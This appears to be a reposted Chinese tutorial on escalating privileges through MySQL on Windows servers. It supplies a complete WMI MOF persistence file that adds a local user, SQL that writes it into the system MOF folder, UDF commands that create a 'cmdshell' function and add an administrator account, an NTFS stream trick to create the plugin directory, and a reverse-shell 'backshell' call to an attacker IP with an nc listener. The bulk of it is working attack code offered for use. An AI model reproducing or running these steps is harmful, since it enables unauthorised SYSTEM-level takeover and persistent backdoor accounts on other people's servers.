MYSQL提權的各種姿勢


一、利用mof提權

前段時間Kingcope大牛發布了mysql遠程提權0day,劍心牛對MOF利用進行了分析,如下:

Windows 管理規范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

方法 1: 運行 MOF 文件指定為命令行參數將 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

具體到mysql提權中,我們又該怎么利用呢?

1、找一個可寫目錄上傳mof文件,我這里上傳到了 C:/wmpub/nullevt.mof 代碼如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user c0de code /add\")";
};
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
;

其中的第18行的命令,上傳前請自己更改。
2、執行load_file及into dumpfile把文件導出到正確的位置即可。

1
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

二、利用UDF提權

udf提權這是最常見的提權方式了,但是往往在執行過程中老是遇到"Can't open shared library"的情況,這里我們可以利用NTFS ADS流來解決這個問題。
1、最常見的是直接使用udf.php此類的工具來執行udf提權,具體如下。
連接到mysql以后,先導出udf.dll到c:\windows\system32目錄下。
2、創建相應的函數並執行命令,具體如下:

1
2
3
4
5
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 刪除函數
delete from mysql.func where name='cmdshell'  刪除函數

3、某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,但是默認情況下plugin不存在,怎么辦? 還好有大牛研究出了利用NTFS ADS流來創建文件夾的方法

1
2
3
4
5
6
 select @@basedir;   
//查找到mysql的目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS創建lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS創建plugin目錄

三、反彈端口連接提權

假如我們掃到了一個mysql的root弱密碼,並且可以外連,但是服務器上面的網站又無法Getshell,這時我們怎么辦呢?
1、利用mysql客戶端工具連接mysql服務器,然后執行下面的操作。

1
2
3
4
5
6
7
8
mysql.exe -h 172.16.10.11 -uroot -p



Enter password:

mysql> \. c:\mysql.txt
mysql>select backshell("YourIP",2010);

2、本地監聽你反彈的端口

1
nc.exe -vv -l -p 2010

成功后,你將獲得一個system權限的cmdshell,其實這個也是利用的UDF提權

mysql.txt工具下載:http://pan.baidu.com/share/link?shareid=3689997446&uk=2466540631


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM